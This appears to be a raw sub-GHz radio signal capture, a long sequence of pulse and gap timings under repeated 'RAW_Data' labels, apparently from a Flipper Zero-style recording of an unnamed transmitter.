-68 89 -189 90 -590 53 -177 55 -637 97 -132 116 -215 81 -90 106 -386 59 -716 103 -74 114 -158 63 -204 77 -56 75 -333 150 -94 103 -312 59 -570 86 -143 51 -193 53 -54 53 -233 139 -114 63 -327 107 -226 125 -315 73 -262 63 -89 127 -271 81 -255 104 -333 140 -479 107 -456 84 -98 83 -426 51 -414 53 -98 83 -397 69 -690 129 -268 71 -558 61 -409 161 -52 53 -427 88 -60 86 -62 161 -242 53 -1242 79 -120 81 -308 183 -186 93 -523 246 -88 53 -84 146 -66 67 -58 179 -239 127 -411 177 -136 290 -124 51 -200 118 -202 200 -131 167 -309 71 -318 83 -151 -RAW_Data: 53 -197 53 -382 63 -125 123 -81 79 -219 69 -167 75 -172 89 -68 196 -114 79 -98 69 -388 59 -148 73 -108 127 -314 203 -56 53 -90 88 -204 163 -222 280 -68 73 -52 156 -119 65 -149 164 -412 182 -162 53 -54 53 -325 69 -68 170 -142 125 -244 177 -231 61 -217 273 -88 83 -111 69 -309 87 -121 138 -155 79 -81 232 -185 220 -226 101 -64 177 -78 67 -72 201 -54 53 -132 61 -138 272 -106 107 -183 219 -150 180 -76 337 -232 103 -58 77 -246 69 -72 65 -70 109 -188 157 -381 77 -309 97 -461 78 -118 73 -72 151 -228 57 -514 99 -64 79 -256 69 -524 59 -228 95 -62 63 -254 71 -129 142 -108 318 -149 71 -184 71 -486 75 -90 51 -617 136 -231 53 -241 69 -96 51 -343 119 -222 51 -136 73 -246 51 -226 118 -166 100 -74 59 -572 150 -99 96 -567 53 -96 53 -312 163 -287 130 -703 174 -697 75 -383 53 -108 53 -108 63 -224 93 -168 59 -487 65 -222 55 -282 109 -175 53 -487 65 -242 79 -321 53 -420 121 -166 71 -108 69 -174 89 -133 70 -116 97 -78 75 -233 71 -386 88 -204 79 -148 67 -60 51 -480 67 -146 51 -244 61 -149 91 -354 89 -587 112 -271 109 -440 78 -72 210 -198 125 -707 59 -143 128 -112 129 -389 51 -338 57 -170 55 -184 97 -173 67 -82 105 -145 105 -463 51 -334 57 -285 102 -76 105 -82 57 -743 114 -162 63 -149 95 -652 67 -466 53 -418 73 -86 53 -82 185 -60 53 -62 67 -94 79 -82 113 -66 89 -54 53 -84 89 -199 55 -134 70 -413 51 -511 81 -175 63 -147 53 -289 53 -194 65 -216 63 -132 581 -56 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 -RAW_Data: 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 279 -356 53 -90 61 -196 71 -321 77 -921 59 -146 67 -178 123 -62 105 -170 55 -106 53 -277 61 -114 89 -475 97 -168 63 -80 114 -190 59 -180 69 -260 67 -358 77 -120 87 -118 53 -176 295 -124 106 -158 65 -210 75 -90 83 -66 63 -72 73 -194 69 -566 85 -225 166 -231 53 -90 61 -288 72 -338 171 -713 102 -309 65 -294 55 -225 67 -225 77 -92 69 -116 61 -230 117 -97 51 -98 72 -76 73 -434 65 -54 57 -98 111 -83 103 -80 53 -60 133 -356 53 -120 67 -90 81 -128 171 -82 51 -192 71 -252 53 -238 51 -174 105 -180 129 -256 63 -181 114 -229 131 -112 121 -54 178 -141 71 -277 59 -255 75 -588 80 -52 105 -492 127 -80 162 -130 63 -711 61 -60 55 -266 176 -357 183 -106 126 -238 142 -376 65 -126 106 -106 107 -143 148 -91 63 -517 83 -277 79 -188 61 -158 59 -54 113 -80 76 -287 110 -250 53 -536 93 -323 85 -379 57 -478 138 -152 229 -98 87 -290 73 -126 61 -315 114 -482 138 -116 61 -297 59 -309 65 -359 61 -90 69 -767 71 -174 51 -702 51 -54 61 -166 65 -258 51 -557 140 -150 63 -281 93 -86 93 -212 61 -72 71 -184 63 -116 53 -139 85 -116 51 -365 120 -251 57 -161 63 -314 81 -175 83 -660 131 -261 77 -528 53 -54 190 -198 51 -234 89 -82 941 -56 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 -RAW_Data: 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 127 -64 63 -128 127 -56 69 -126 65 -62 63 -62 63 -64 61 -64 63 -64 127 -64 63 -62 63 -62 63 -128 129 -64 61 -126 65 -62 63 -62 127 -128 63 -64 61 -62 63 -64 63 -64 127 -128 127 -128 125 -120 135 -56 69 -126 127 -128 127 -126 63 -54 133 -64 63 -64 61 -64 61 -64 63 -128 127 -64 63 -62 61 -64 63 -64 61 -64 63 -64 63 -64 61 -128 129 -64 61 -62 63 -128 63 -64 125 -128 63 -64 61 -64 125 -130 63 -62 63 -62 127 -128 63 -62 63 -62 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 127 -64 61 -128 127 -56 71 -62 61 -64 63 -64 63 -62 63 -128 129 -128 63 -62 61 -62 63 -64 61 -64 63 -64 127 -64 63 -126 129 -56 69 -62 63 -126 129 -64 61 -62 63 -64 61 -128 129 -64 61 -126 129 -64 61 -62 63 -128 63 -64 125 -128 63 -64 125 -128 63 -64 125 -64 61 -64 61 -128 129 -128 127 -126 127 -120 329 -76 78 -70 53 -450 63 -185 98 -255 61 -476 71 -154 97 -282 55 -98 53 -189 98 -186 79 -162 61 -120 127 -230 67 -256 79 -225 53 -374 53 -134 51 -264 63 -232 107 -180 91 -54 133 -66 65 -147 63 -490 65 -237 172 -135 98 -54 63 -858 69 -477 89 -762 61 -324 51 -150 59 -58 63 -500 51 -168 85 -317 89 -136 71 -237 83 -52 87 -740 57 -152 67 -339 83 -68 97 -80 73 -603 53 -125 53 -94 137 -207 158 -637 114 -169 101 -110 55 -714 55 -82 61 -112 59 -495 53 -338 63 -100 97 -219 67 -369 89 -156 70 -90 70 -240 72 -76 221 -130 59 -131 57 -140 137 -116 91 -140 51 -125 53 -421 51 -565 53 -551 98 -242 51 -155 65 -269 103 -60 59 -74 51 -260 95 -76 53 -303 100 -333 114 -118 87 -258 139 -166 74 -160 83 -52 69 -399 81 -751 53 -148 81 -274 63 -98 51 -66 135 -602 51 -417 59 -144 150 -175 67 -332 187 -324 71 -940 138 -76 59 -82 53 -108 55 -411 61 -117 63 -202 63 -98 63 -376 172 -94 79 -227 87 -450 61 -427 63 -350 88 -473 77 -441 131 -64 63 -1074 93 -90 67 -158 65 -68 59 -948 147 -262 73 -168 51 -309 51 -102 61 -80 115 -106 203 -236 65 -355 246 -210 63 -75 165 -140 69 -143 61 -139 -RAW_Data: 97 -56 236 -98 59 -96 53 -82 463 -178 53 -126 53 -148 224 -86 543 -132 83 -52 302 -161 101 -56 91 -68 89 -94 283 -56 71 -184 288 -172 121 -76 215 -86 71 -122 205 -81 84 -187 122 -230 81 -92 216 -84 81 -68 129 -118 236 -75 315 -52 129 -122 67 -158 118 -66 91 -172 53 -176 61 -141 143 -154 223 -229 80 -97 87 -172 92 -186 156 -127 89 -185 138 -119 119 -224 255 -171 283 -52 59 -80 135 -103 75 -84 137 -119 102 -603 107 -517 53 -142 53 -54 53 -108 85 -110 67 -149 53 -474 51 -127 73 -68 99 -200 85 -100 182 -62 134 -472 51 -186 109 -64 53 -316 112 -152 69 -108 53 -381 73 -131 108 -349 99 -54 53 -1103 104 -334 87 -265 53 -632 65 -198 79 -345 71 -552 160 -60 55 -62 51 -54 125 -206 71 -270 160 -224 89 -281 51 -229 59 -494 51 -194 53 -766 106 -291 114 -248 59 -62 120 -302 51 -104 59 -200 81 -202 67 -447 127 -226 87 -614 53 -252 84 -129 199 -371 53 -120 119 -68 53 -91 143 -108 71 -194 85 -120 80 -122 61 -329 65 -717 187 -596 83 -464 95 -255 65 -298 97 -123 178 -184 179 -437 110 -243 148 -97 106 -376 81 -248 59 -426 105 -317 51 -437 61 -54 63 -88 53 -364 51 -254 77 -463 59 -118 71 -293 162 -134 63 -144 61 -188 55 -528 105 -311 71 -97 53 -395 61 -218 83 -86 53 -841 69 -106 96 -54 195 -146 61 -86 71 -142 77 -499 168 -971 89 -371 72 -108 61 -314 67 -84 53 -244 67 -183 63 -420 73 -133 107 -827 57 -98 128 -120 77 -368 51 -266 75 -114 93 -635 61 -80 71 -115 117 -98 51 -66 137 -220 61 -54 153 -54 97 -72 151 -314 135 -62 93 -130 127 -163 106 -378 144 -100 67 -54 106 -90 113 -218 71 -71 156 -187 59 -427 208 -305 93 -644 152 -142 121 -243 81 -210 200 -143 97 -123 69 -134 51 -177 198 -92 51 -115 133 -246 53 -90 87 -196 155 -68 83 -263 171 -106 59 -220 135 -397 155 -177 88 -150 139 -209 67 -58 53 -172 53 -82 81 -82 106 -164 61 -301 105 -276 104 -96 240 -108 63 -86 218 -80 59 -175 158 -308 63 -197 70 -179 258 -256 153 -242 244 -80 151 -114 59 -1491 214 -93 83 -256 71 -72 53 -846 150 -370 187 -134 96 -295 51 -273 53 -178 83 -686 59 -444 106 -116 53 -348 89 -308 287 -141 65 -485 133 -276 63 -1055 59 -562 80 -227 177 -1472 71 -323 124 -587 80 -133 53 -381 119 -287 81 -498 107 -246 -RAW_Data: 51 -229 71 -143 55 -114 121 -209 53 -214 111 -132 55 -647 51 -841 57 -742 105 -70 57 -331 198 -329 135 -174 79 -316 53 -346 85 -312 53 -679 53 -294 115 -328 83 -138 51 -198 79 -104 53 -538 107 -280 80 -144 57 -315 81 -90 61 -418 53 -161 71 -419 132 -278 73 -124 53 -98 89 -439 59 -133 53 -130 59 -60 77 -106 111 -484 109 -498 61 -62 67 -347 80 -873 120 -545 61 -435 161 -390 120 -490 107 -147 53 -293 53 -529 87 -100 71 -150 53 -306 75 -297 137 -70 117 -225 61 -304 53 -293 51 -928 79 -134 112 -115 103 -250 61 -344 69 -148 57 -166 79 -142 73 -803 59 -640 153 -244 53 -126 65 -370 121 -315 77 -131 55 -86 51 -98 148 -324 123 -1363 75 -428 79 -100 53 -144 59 -461 53 -188 59 -493 61 -207 51 -571 97 -208 426 -145 71 -406 97 -102 105 -72 99 -270 73 -690 53 -378 53 -259 114 -764 73 -150 143 -501 67 -142 51 -70 79 -368 73 -186 53 -416 192 -740 61 -133 51 -315 61 -143 59 -235 88 -164 53 -387 51 -354 53 -617 67 -123 61 -193 53 -126 51 -559 53 -169 221 -60 51 -194 71 -226 53 -144 71 -60 90 -76 82 -370 53 -235 63 -404 88 -70 122 -733 155 -64 143 -170 63 -436 73 -152 108 -520 97 -54 132 -156 51 -88 59 -74 77 -100 89 -454 103 -579 105 -160 149 -1157 113 -217 59 -340 132 -257 61 -803 150 -186 124 -151 79 -99 53 -606 93 -60 71 -115 97 -62 307 -430 121 -311 71 -415 70 -619 142 -197 89 -224 53 -184 91 -128 63 -366 61 -180 137 -157 137 -76 59 -400 73 -112 51 -60 159 -1011 96 -136 85 -218 63 -98 150 -1027 222 -307 51 -263 59 -510 111 -127 93 -306 67 -377 69 -293 140 -212 51 -177 73 -280 81 -284 93 -82 59 -317 129 -52 128 -163 179 -743 155 -90 85 -508 59 -158 51 -98 91 -144 61 -90 181 -106 158 -396 51 -229 53 -233 135 -325 117 -332 53 -621 121 -443 63 -152 148 -323 107 -926 79 -114 73 -237 61 -471 53 -480 142 -285 99 -56 78 -136 51 -523 205 -581 53 -122 53 -300 200 -114 126 -169 63 -156 59 -120 110 -346 175 -244 75 -258 99 -151 53 -114 83 -194 53 -223 152 -152 108 -397 63 -162 59 -395 89 -305 63 -346 136 -225 120 -111 51 -386 63 -140 159 -152 53 -375 61 -383 67 -166 78 -492 51 -54 67 -255 75 -152 123 -484 61 -259 119 -252 69 -397 79 -524 121 -258 83 -697 165 -621 87 -178 71 -62 81 -426 -RAW_Data: 61 -182 91 -54 133 -187 109 -64 97 -309 57 -74 51 -82 59 -589 105 -139 63 -334 117 -721 59 -90 104 -214 51 -112 51 -169 59 -270 67 -90 61 -282 113 -343 88 -108 83 -635 63 -718 67 -54 53 -738 95 -172 51 -148 89 -54 100 -454 93 -54 69 -80 73 -201 93 -490 53 -327 107 -326 61 -126 61 -217 170 -141 59 -577 61 -116 55 -156 53 -127 135 -66 71 -392 63 -92 105 -290 75 -203 59 -895 83 -338 55 -52 154 -177 62 -238 77 -108 55 -232 75 -86 71 -89 53 -202 81 -379 125 -461 51 -96 116 -149 51 -250 101 -346 73 -265 98 -482 55 -54 81 -62 81 -372 100 -62 57 -76 71 -167 87 -62 55 -375 89 -422 63 -182 73 -857 88 -228 129 -342 79 -451 53 -571 53 -353 89 -320 57 -212 53 -363 51 -981 189 -111 53 -462 63 -182 53 -391 206 -117 103 -182 67 -409 87 -731 71 -257 184 -346 73 -78 53 -98 53 -100 57 -54 57 -750 51 -82 138 -60 128 -103 89 -778 57 -108 65 -64 63 -810 59 -290 53 -97 148 -168 71 -501 51 -155 59 -539 65 -108 53 -281 102 -68 65 -1085 67 -114 67 -854 59 -166 70 -275 55 -199 118 -496 96 -375 73 -601 51 -275 59 -72 69 -564 57 -299 59 -254 59 -470 57 -244 65 -139 55 -104 65 -89 75 -146 51 -172 89 -618 83 -96 105 -70 75 -1024 96 -360 61 -54 75 -745 74 -102 160 -143 59 -52 99 -310 68 -853 89 -291 119 -82 65 -547 70 -56 141 -160 106 -64 101 -171 159 -299 53 -72 61 -144 138 -645 191 -142 61 -683 212 -68 145 -142 75 -110 71 -98 75 -93 59 -218 110 -237 83 -413 110 -380 89 -68 123 -74 53 -80 88 -68 51 -135 59 -94 91 -191 81 -130 59 -163 53 -245 61 -196 55 -70 67 -60 88 -324 61 -72 53 -100 97 -403 69 -254 55 -313 57 -169 53 -148 99 -66 57 -281 94 -642 81 -340 61 -179 106 -154 55 -177 96 -160 77 -1409 93 -254 114 -440 100 -262 85 -203 51 -76 53 -216 89 -204 63 -268 61 -144 51 -514 140 -205 190 -343 118 -126 117 -762 79 -528 203 -88 148 -219 142 -212 153 -64 77 -79 96 -64 53 -434 77 -567 119 -82 53 -99 89 -207 127 -329 99 -174 53 -62 51 -153 55 -432 63 -653 193 -136 77 -180 178 -120 53 -81 75 -635 71 -463 164 -203 61 -414 112 -98 149 -252 232 -287 73 -136 59 -277 137 -116 131 -72 81 -695 111 -126 107 -58 149 -168 142 -180 156 -54 160 -94 79 -102 226 -166 -RAW_Data: 61 -134 69 -374 89 -58 90 -287 161 -177 59 -142 97 -78 65 -245 53 -74 73 -157 164 -170 51 -797 61 -429 116 -54 177 -221 117 -115 115 -174 65 -401 53 -143 114 -64 61 -115 67 -90 83 -222 59 -98 106 -130 102 -602 51 -291 67 -110 67 -78 67 -324 71 -423 53 -80 77 -202 75 -54 59 -66 53 -286 71 -830 87 -72 81 -482 104 -148 53 -350 95 -869 79 -330 67 -240 113 -84 69 -74 111 -566 53 -564 67 -136 102 -54 99 -68 119 -60 51 -400 81 -102 130 -302 183 -170 158 -426 59 -280 84 -150 51 -215 79 -150 89 -222 135 -628 141 -367 55 -586 118 -372 89 -261 82 -379 136 -1165 89 -376 148 -617 83 -137 97 -303 80 -329 79 -112 81 -507 71 -561 151 -301 71 -313 57 -84 106 -536 51 -445 87 -248 53 -60 101 -360 89 -100 61 -402 91 -102 51 -172 83 -74 119 -114 86 -136 98 -62 59 -216 51 -175 133 -240 161 -393 84 -54 69 -506 84 -187 53 -415 57 -72 220 -289 69 -280 81 -537 149 -374 97 -68 94 -560 67 -171 53 -680 67 -420 63 -150 67 -170 69 -349 144 -106 111 -130 112 -382 151 -54 123 -1075 59 -254 103 -277 51 -164 104 -82 131 -125 61 -231 105 -169 77 -125 63 -98 63 -254 186 -139 53 -60 61 -169 174 -440 130 -94 53 -354 89 -106 67 -168 90 -232 53 -333 112 -303 78 -114 53 -387 61 -62 75 -310 51 -904 65 -388 59 -62 123 -402 65 -274 69 -162 86 -365 51 -100 61 -438 107 -318 53 -72 79 -188 69 -158 168 -106 129 -88 79 -412 63 -54 63 -96 57 -266 137 -90 71 -144 71 -189 120 -163 79 -107 87 -525 59 -194 67 -298 61 -283 73 -827 97 -118 79 -568 63 -531 69 -106 53 -349 53 -226 53 -427 61 -116 79 -290 63 -170 156 -237 118 -472 59 -242 75 -155 59 -301 67 -142 87 -296 59 -474 55 -344 69 -466 53 -220 53 -128 53 -584 79 -96 126 -399 61 -582 144 -335 89 -247 53 -100 53 -403 59 -60 75 -581 67 -178 75 -142 195 -155 53 -114 84 -389 115 -452 71 -247 78 -133 154 -102 51 -125 63 -197 63 -317 53 -491 53 -292 53 -142 59 -62 53 -418 51 -136 147 -52 67 -185 129 -90 51 -203 59 -112 115 -351 71 -672 75 -281 90 -68 51 -60 53 -309 148 -70 107 -300 55 -264 75 -66 61 -330 89 -199 53 -223 71 -369 51 -254 67 -116 87 -140 127 -102 59 -421 61 -54 53 -727 59 -140 51 -68 51 -191 67 -735 93 -96 98 -82 151 -207 -RAW_Data: 51 -429 59 -334 145 -996 102 -76 87 -436 59 -60 163 -78 149 -294 51 -249 142 -355 81 -72 71 -211 78 -96 67 -241 69 -282 128 -493 97 -315 59 -491 51 -280 63 -60 79 -72 148 -421 59 -148 69 -114 59 -299 130 -216 95 -297 75 -142 51 -108 83 -170 79 -303 178 -54 61 -244 65 -203 51 -138 59 -68 71 -82 75 -731 69 -74 61 -138 71 -100 85 -122 79 -248 107 -282 96 -98 91 -1258 89 -88 76 -70 135 -123 135 -164 177 -885 75 -251 118 -566 127 -129 57 -96 53 -144 107 -126 73 -248 87 -322 75 -90 93 -100 99 -164 67 -112 96 -648 57 -66 125 -294 57 -201 88 -197 245 -167 150 -271 51 -377 77 -223 159 -311 53 -126 106 -834 109 -76 173 -116 51 -70 51 -315 130 -80 55 -88 71 -422 95 -110 122 -404 67 -266 57 -296 53 -82 107 -54 215 -124 59 -621 79 -251 135 -102 115 -640 67 -843 100 -450 89 -76 51 -210 89 -477 176 -457 129 -102 53 -72 99 -339 51 -54 53 -254 99 -463 100 -564 82 -287 107 -599 74 -264 69 -493 102 -629 80 -106 106 -204 99 -360 73 -280 51 -106 51 -60 87 -672 51 -260 101 -102 73 -367 55 -78 64 -788 149 -80 88 -503 97 -584 75 -263 51 -54 57 -209 75 -250 124 -351 77 -346 51 -383 107 -72 105 -198 55 -574 51 -192 106 -98 83 -499 65 -440 63 -76 88 -88 79 -354 51 -100 87 -74 59 -164 59 -429 51 -275 51 -438 53 -247 53 -80 53 -116 79 -133 161 -666 79 -52 79 -410 57 -223 53 -128 53 -444 79 -123 107 -58 53 -417 57 -110 86 -987 105 -336 53 -441 83 -118 75 -225 63 -118 53 -98 79 -391 113 -224 92 -143 73 -102 73 -64 97 -136 61 -82 59 -108 57 -240 53 -206 133 -154 143 -680 95 -106 87 -74 131 -126 94 -775 65 -112 81 -96 55 -116 89 -722 176 -188 104 -76 81 -399 73 -106 119 -554 120 -171 61 -123 104 -148 51 -261 96 -288 74 -88 129 -568 100 -336 440 -112 63 -58 51 -222 174 -188 81 -161 99 -84 75 -821 141 -334 67 -82 104 -814 80 -153 77 -248 79 -80 71 -88 89 -397 99 -188 81 -215 86 -96 152 -128 61 -372 148 -536 117 -169 134 -142 51 -186 88 -88 181 -338 71 -450 51 -419 59 -218 69 -152 51 -306 67 -60 100 -312 88 -233 85 -546 148 -222 81 -149 51 -265 71 -146 131 -90 71 -54 61 -169 169 -107 76 -180 105 -367 142 -1174 89 -354 107 -222 63 -220 63 -144 61 -82 158 -98 95 -114 -RAW_Data: 71 -244 99 -440 57 -1456 63 -178 110 -112 73 -72 102 -203 75 -522 75 -754 63 -388 89 -220 95 -72 73 -462 99 -78 113 -499 53 -62 135 -533 107 -135 97 -400 79 -122 63 -337 73 -145 53 -391 53 -122 79 -169 115 -522 105 -219 67 -52 53 -135 75 -539 130 -852 94 -223 59 -575 82 -236 140 -54 190 -90 88 -136 156 -136 277 -252 83 -220 53 -184 109 -372 53 -326 53 -922 93 -79 69 -184 107 -293 120 -168 109 -130 75 -123 53 -581 57 -148 61 -147 59 -307 105 -602 122 -132 63 -66 89 -251 98 -175 51 -286 125 -301 63 -144 97 -952 53 -110 65 -116 133 -254 91 -74 115 -261 111 -232 59 -347 114 -90 53 -239 51 -264 102 -60 114 -307 179 -216 75 -54 67 -86 120 -686 53 -114 81 -206 86 -246 83 -451 79 -132 77 -134 125 -269 141 -58 53 -397 63 -116 96 -197 71 -145 105 -832 67 -88 89 -62 53 -191 101 -62 65 -86 59 -578 89 -209 124 -134 59 -770 104 -152 55 -306 51 -52 51 -98 53 -502 71 -266 67 -652 61 -157 117 -622 59 -742 203 -269 108 -299 69 -463 81 -364 79 -214 63 -371 150 -153 120 -208 63 -486 51 -147 53 -54 115 -168 89 -74 160 -208 97 -161 155 -655 51 -275 55 -80 51 -138 73 -112 53 -226 51 -493 122 -351 78 -368 97 -410 59 -594 96 -98 61 -267 71 -130 61 -247 61 -396 59 -277 95 -62 55 -56 63 -62 63 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 -RAW_Data: 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 238 -1111 98 -80 53 -279 92 -758 53 -98 96 -618 103 -124 107 -84 55 -376 71 -193 88 -90 111 -543 51 -349 118 -112 91 -1612 53 -186 111 -229 51 -140 130 -191 51 -100 71 -422 105 -398 53 -210 61 -466 83 -58 51 -290 107 -304 59 -54 77 -120 74 -165 91 -205 89 -76 105 -164 61 -484 53 -82 53 -82 89 -210 53 -391 71 -206 113 -252 80 -100 87 -88 59 -213 115 -64 53 -329 61 -126 171 -215 131 -212 63 -529 65 -989 59 -120 108 -626 112 -401 102 -120 97 -896 82 -531 103 -910 69 -187 97 -451 120 -310 120 -351 69 -693 81 -150 127 -112 143 -225 63 -337 71 -242 120 -272 53 -197 77 -104 51 -175 127 -965 185 -441 53 -151 85 -177 129 -1215 55 -383 124 -684 97 -146 51 -556 59 -247 106 -224 79 -346 57 -85 88 -62 85 -492 53 -262 88 -396 153 -106 53 -82 71 -382 84 -283 116 -122 85 -499 61 -1161 63 -194 89 -472 104 -71 78 -224 71 -217 81 -72 79 -695 138 -126 77 -322 115 -812 95 -171 78 -104 88 -124 57 -774 53 -107 78 -80 85 -274 53 -134 81 -618 106 -141 81 -353 61 -341 55 -90 103 -110 87 -524 96 -143 61 -405 51 -500 106 -94 81 -364 89 -68 1071 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 127 -64 63 -128 127 -56 69 -126 63 -64 63 -62 63 -64 61 -64 63 -64 127 -64 63 -62 63 -62 63 -128 127 -66 61 -126 63 -64 61 -64 127 -128 -RAW_Data: 63 -64 61 -62 63 -64 63 -62 127 -130 63 -62 63 -62 127 -128 127 -56 69 -126 129 -128 127 -126 55 -62 133 -64 63 -62 63 -62 63 -64 63 -128 127 -64 61 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -128 129 -64 61 -62 63 -128 63 -62 127 -128 63 -64 61 -62 127 -128 65 -62 61 -64 127 -128 63 -62 63 -62 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 127 -66 61 -128 127 -64 63 -62 61 -64 61 -64 63 -64 63 -128 127 -128 127 -120 135 -56 69 -62 61 -62 63 -64 63 -128 127 -128 127 -120 71 -54 133 -64 61 -128 127 -128 63 -62 61 -64 127 -128 63 -62 127 -64 61 -128 127 -56 69 -64 61 -128 63 -64 127 -64 61 -128 63 -64 125 -64 63 -126 63 -64 61 -64 63 -62 331 -307 61 -334 59 -172 51 -231 53 -144 159 -358 115 -520 63 -484 79 -286 71 -667 78 -120 97 -393 61 -656 116 -62 71 -270 63 -80 71 -251 53 -196 179 -171 59 -170 81 -1020 167 -58 71 -537 73 -203 97 -474 59 -458 142 -268 149 -170 201 -518 92 -458 67 -112 214 -206 160 -128 147 -346 87 -478 81 -331 59 -74 77 -126 51 -119 55 -196 55 -180 123 -307 71 -86 65 -158 66 -138 106 -839 152 -334 83 -150 51 -309 107 -82 98 -90 139 -177 59 -498 51 -171 51 -316 51 -238 197 -144 63 -162 71 -78 109 -56 85 -332 61 -251 53 -332 164 -442 69 -135 87 -115 59 -80 67 -384 88 -142 53 -80 69 -220 51 -459 173 -102 67 -150 97 -70 53 -188 85 -80 63 -354 75 -332 69 -156 61 -671 100 -430 67 -78 85 -514 119 -670 133 -136 73 -115 103 -400 53 -142 67 -297 63 -283 95 -118 81 -124 117 -513 85 -242 96 -549 59 -185 87 -307 116 -205 69 -307 88 -161 134 -448 61 -224 63 -128 102 -323 65 -133 95 -160 87 -403 53 -126 147 -703 53 -114 96 -107 53 -58 90 -212 71 -435 67 -567 76 -461 127 -272 118 -90 51 -60 69 -257 51 -103 169 -96 79 -105 169 -290 135 -185 53 -98 117 -80 63 -112 174 -86 61 -140 67 -267 130 -154 69 -105 111 -185 99 -88 79 -359 113 -142 63 -167 112 -60 81 -128 178 -52 51 -52 67 -193 75 -74 67 -56 124 -274 55 -80 69 -54 157 -68 65 -92 63 -64 67 -90 65 -296 53 -355 119 -130 79 -80 79 -152 53 -82 160 -229 80 -84 55 -160 121 -74 111 -160 81 -347 53 -137 100 -225 119 -253 73 -198 -RAW_Data: 119 -624 53 -147 268 -58 122 -94 139 -133 93 -76 51 -82 157 -74 69 -189 125 -201 79 -93 94 -946 59 -888 134 -526 120 -152 63 -172 53 -179 71 -268 71 -657 59 -521 59 -305 131 -190 115 -154 77 -208 126 -296 89 -92 81 -108 61 -54 53 -208 178 -134 63 -108 201 -336 114 -108 77 -275 99 -482 65 -68 193 -416 119 -516 105 -98 118 -749 51 -90 73 -166 63 -52 51 -158 79 -99 53 -507 51 -210 53 -407 55 -732 59 -481 59 -406 51 -107 109 -240 59 -289 59 -413 61 -233 77 -223 79 -284 53 -675 89 -134 77 -72 67 -302 134 -244 51 -105 81 -335 111 -297 53 -60 51 -185 95 -496 142 -580 145 -128 51 -210 160 -64 140 -365 87 -287 81 -281 61 -232 92 -296 53 -80 61 -176 101 -232 65 -90 67 -770 109 -304 87 -56 53 -64 79 -54 99 -54 96 -60 61 -482 181 -687 99 -54 